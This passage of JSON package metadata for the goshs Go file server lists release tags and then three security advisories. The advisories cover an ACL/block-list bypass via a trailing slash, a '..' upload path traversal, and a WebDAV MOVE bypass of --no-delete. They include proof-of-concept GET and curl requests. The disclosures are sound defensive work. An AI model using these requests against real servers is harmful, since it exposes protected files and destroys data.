ull,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8/manifests"},{"name":"v0.3.7","sha":"99dcbb68215c3a794dadfbd59b860f12c4b4ebb5","kind":"tag","published_at":"2024-04-10T12:53:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"2ee6884eeb1d2252013caa155eeb58896e3cfe64","kind":"tag","published_at":"2023-09-01T09:02:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"7f7b0fc0cdb6dfa8f4f8c0c06b9a508f791f5be5","kind":"tag","published_at":"2023-06-21T09:13:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"188589596594765ad4b22d2709fc5ca848c6a56a","kind":"tag","published_at":"2023-06-01T10:53:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"4732ae364faf32681dbb361aafa337d8c3fcf25d","kind":"tag","published_at":"2023-05-31T13:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"33c8a14257bcf88d7d2ad35cd490fa7805cca9f6","kind":"tag","published_at":"2023-05-29T08:26:19.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"b394bd5866d568f41d136255236094f8c77a9407","kind":"tag","published_at":"2023-05-08T07:11:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"6574ddac3213fa51cd80af84a9162d555e50af63","kind":"tag","published_at":"2023-02-28T14:59:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"3b807da9ea42cd4edaa99a51a932603f534e52ad","kind":"tag","published_at":"2022-12-02T09:03:27.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.2.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.2.0/manifests"},{"name":"v0.1.9","sha":"5d6b17cc4a44d344362dd0659779d958d1b66e05","kind":"tag","published_at":"2022-10-13T13:52:26.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9/manifests"},{"name":"v0.1.8","sha":"31639080efbb087fc2c8cb3413bbc8d9e6cb5b55","kind":"tag","published_at":"2022-03-11T14:24:02.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8/manifests"},{"name":"v0.1.7","sha":"7d1630cbe279aef35e4f1f1699278b35b1784158","kind":"tag","published_at":"2022-02-28T12:42:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7/manifests"},{"name":"v0.1.6","sha":"b1d4f8393ce004528a523ba55353eb99ec9cb74e","kind":"tag","published_at":"2021-11-09T13:15:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6/manifests"},{"name":"v0.1.5","sha":"71cefd7548e8d227dd6fb80038aad3ab5f3882d9","kind":"tag","published_at":"2021-10-12T10:32:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5/manifests"},{"name":"v0.1.4","sha":"b28b7c2c3be33954ccf3ef5b221a6a848b79aa79","kind":"tag","published_at":"2021-10-12T06:55:06.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4/manifests"},{"name":"v0.1.3","sha":"4187008af4c3acfdad0099a1888567cd63e3bbfd","kind":"tag","published_at":"2021-10-08T13:48:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"221ed1b8bfa30dff122e99ac1dc13d17d92519f1","kind":"tag","published_at":"2021-10-01T08:57:05.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"c4f19703b59e7f2d052530381c201c2bd933ab9a","kind":"tag","published_at":"2021-09-29T12:15:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"589f2dc62b9a9f72d9726a30b806082225488e81","kind":"tag","published_at":"2021-04-22T05:53:21.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0/manifests"},{"name":"v0.0.9","sha":"a028f7795d1b2a28946061fe04c7fdae05c1c124","kind":"tag","published_at":"2021-04-21T12:38:42.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"4e29cfb21beab4fbc000ae6b78ea50e4def8dcb2","kind":"tag","published_at":"2021-02-26T09:37:47.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8/manifests"},{"name":"v0.0.6","sha":"568702c6b1df35a169d4944606d7dcce0512f75e","kind":"tag","published_at":"2020-10-23T13:48:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"e8fb6eaeefe70709da388cc5aabd001ae20e34da","kind":"tag","published_at":"2020-10-15T15:35:44.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"f8e39328788149796a862edbc64be7f9f732da46","kind":"tag","published_at":"2020-10-14T08:38:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"dfc2d46e7f47c2f9e1a80e7b6c07ac5270a92ee2","kind":"commit","published_at":"2020-10-09T08:46:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"2227d39f6a9f86f40223241ee07c8374c1255c39","kind":"commit","published_at":"2020-10-06T13:00:13.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"ca78b1be5424d653c877550ba81427ba3d08ec74","kind":"commit","published_at":"2020-10-02T08:28:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-20T19:12:32.437Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.162994502481751,"dependent_packages_count":4.837816059619227,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":5.000405281050488},"purl":"pkg:golang/goshs.de/goshs/v2","advisories":[{"uuid":"GSA_kwCzR0hTQS05NjR3LWY2Z2otNTIzNs4ABgpL","url":"https://github.com/advisories/GHSA-964w-f6gj-5236","title":"goshs has ACL Bypass \u0026 Path Traversal","description":"## Summary\n\n`sendFile` derives the served filename from the raw request path while opening the file from the cleaned path, so appending a trailing slash empties the derived name and defeats both the never-serve rule for the ACL file and the block list. \n\n## Finding (Medium): trailing-slash ACL and hidden-file bypass\n\nhttpserver/handler.go, sendFile (lines 789-801) takes the filename from the RAW req.URL.Path while the file itself is opened from the filepath.Clean-ed path. The two disagree, and a trailing slash makes the derived name the empty string. Both protections key on that derived name, so both are defeated: the rule that never serves the .goshs ACL file, and the acl.Block list.\n\nMeasured, with negative controls:\n\n```\nGET /blocked/secret.txt    -\u003e 404          (control, correctly blocked)\nGET /blocked/secret.txt/   -\u003e 200 + contents\nGET /blocked/.goshs/       -\u003e 200, returns the ACL file itself,\n                              including the admin:$2a$... bcrypt hash\n```\n\nUnauthenticated when the ACL is configured block-only (common usage). Stated precisely: AUTHENTICATION IS NOT BYPASSED. An unauthenticated request against a directory protected by authentication still returns 401 under the same trick; I tested that. The claim is specifically that the block list and the ACL-file protection are bypassed. In-tree evidence that sendFile is the defect: the sibling handlers doDir and bulkDownload both derive the name correctly; sendFile is the lone outlier.\n\n## Suggested fixes\n\n1. Derive the served filename from the same cleaned path used to open the file, so the authorization decision and the file access cannot disagree.\n\n## Tooling\n\nAI assistance was used while investigating. The finding was reproduced against a running server on loopback with negative controls, including the 404-versus-200 pair and the authenticated-directory control that shows authentication is not affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-28T22:26:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-964w-f6gj-5236","https://github.com/goshs-labs/goshs/pull/222","https://github.com/goshs-labs/goshs/commit/f3ef599e409151d1380866e47de8b1afb0bb54fa","https://github.com/advisories/GHSA-964w-f6gj-5236"],"source_kind":"github","identifiers":["GHSA-964w-f6gj-5236","CVE-2026-66064"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T23:00:32.087Z","updated_at":"2026-08-26T21:00:42.934Z","epss_percentage":0.00308,"epss_percentile":0.22935,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NjR3LWY2Z2otNTIzNs4ABgpL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NjR3LWY2Z2otNTIzNs4ABgpL","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs"},{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.5-0.20260727065949-f3ef599e4091","vulnerable_version_range":"\u003c= 2.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs/v2","versions":[{"first_patched_version":"2.1.5-0.20260727065949-f3ef599e4091","vulnerable_version_range":"\u003c= 2.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NjR3LWY2Z2otNTIzNs4ABgpL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ZzJxLTM5aDYtNjZ4Oc4ABgpE","url":"https://github.com/advisories/GHSA-wg2q-39h6-66x9","title":"goshs has a Path Traversal issue","description":"## Summary\n\nThe multipart upload filename fix splits on the path separator but never rejects dot-dot, allowing a write outside the served tree.\n\n## Finding (Medium): upload filename escapes the served tree (residual of CVE-2026-35393)\n\nThe multipart filename fix (updown.go lines 135-136) splits on the path separator but never rejects \"..\". Uploading with filename=\"..\" results in os.Create against the parent of the upload folder with a trailing marker character, outside the served tree, and the subsequent failed rename leaves that file behind. Verified: a file containing ESCAPED_WRITE_PROOF was written outside the webroot, unauthenticated, with the default configuration. Not claimed: a Windows-specific variant (Go's Part.FileName() already applies filepath.Base).\n\n## Suggested fixes\n\n1. Reject any upload filename that is \"..\", is empty after sanitisation, or resolves outside the upload folder; validate the final resolved destination rather than only transforming the input.\n\n## Tooling\n\nAI assistance was used while investigating. The finding was reproduced against a running server on loopback.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-28T22:08:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-wg2q-39h6-66x9","https://github.com/goshs-labs/goshs/commit/f3ef599e409151d1380866e47de8b1afb0bb54fa","https://github.com/advisories/GHSA-wg2q-39h6-66x9"],"source_kind":"github","identifiers":["GHSA-wg2q-39h6-66x9","CVE-2026-66063"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T23:00:32.087Z","updated_at":"2026-08-26T21:00:42.938Z","epss_percentage":0.00233,"epss_percentile":0.14284,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZzJxLTM5aDYtNjZ4Oc4ABgpE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZzJxLTM5aDYtNjZ4Oc4ABgpE","packages":[{"ecosystem":"go","package_name":"github.com/patrickhener/goshs/v2","versions":[{"first_patched_version":"2.1.5-0.20260727065949-f3ef599e4091","vulnerable_version_range":"\u003c= 2.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.5-0.20260727065949-f3ef599e4091","vulnerable_version_range":"\u003c= 2.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs"},{"ecosystem":"go","package_name":"goshs.de/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZzJxLTM5aDYtNjZ4Oc4ABgpE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocTMzLThqZ3AtOHFxM84ABgpD","url":"https://github.com/advisories/GHSA-hq33-8jgp-8qq3","title":"goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite","description":"## Summary\n\nThe WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented \"Disable the delete option\" boundary.\n\nThis is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it.\n\n## Affected\n\ngoshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.\n\n## Details\n\n`httpserver/server.go`, `wdGuard` (lines 237-254):\n\n```go\nwdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n    switch r.Method {\n    case http.MethodPut, \"MKCOL\", \"MOVE\", \"COPY\":\n        if fs.ReadOnly {\n            http.Error(w, \"read-only\", http.StatusForbidden)\n            return\n        }\n    case http.MethodDelete:\n        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n            http.Error(w, \"delete disabled\", http.StatusForbidden)\n            return\n        }\n    case http.MethodGet, http.MethodHead:\n        if fs.UploadOnly {\n            http.Error(w, \"upload-only\", http.StatusForbidden)\n            return\n        }\n    }\n    ...\n```\n\n`MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads \"Disable the delete option\", does not disable deletion via `MOVE`.\n\nThe `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.\n\n## Proof of concept\n\nReproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled:\n\n```\n$ printf 'TOP-SECRET-CONTENTS\\n' \u003e webroot/secret.txt\n$ printf 'VICTIM-EXISTING-FILE\\n'  \u003e webroot/victim.txt\n$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete\nINFO  Serving WEBDAV on 127.0.0.1:18081 from webroot\n```\n\nControl - DELETE is correctly blocked:\n\n```\n$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt still exists on disk.\n\nBypass 1 - MOVE removes the source file despite --no-delete:\n\n```\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt\nHTTP/1.1 201 Created\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt is now deleted from disk (its content is at gone.txt).\n\nBypass 2 - MOVE with Overwrite:T destroys an existing victim file:\n\n```\n# before: victim.txt = VICTIM-EXISTING-FILE\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt\nHTTP/1.1 204 No Content\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)\n```\n\n## Impact\n\nAn operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb.\n\n## Suggested fix\n\nMove `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`:\n\n```go\ncase http.MethodPut, \"MKCOL\", \"COPY\":\n    if fs.ReadOnly {\n        http.Error(w, \"read-only\", http.StatusForbidden)\n        return\n    }\ncase \"MOVE\":\n    // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).\n    if 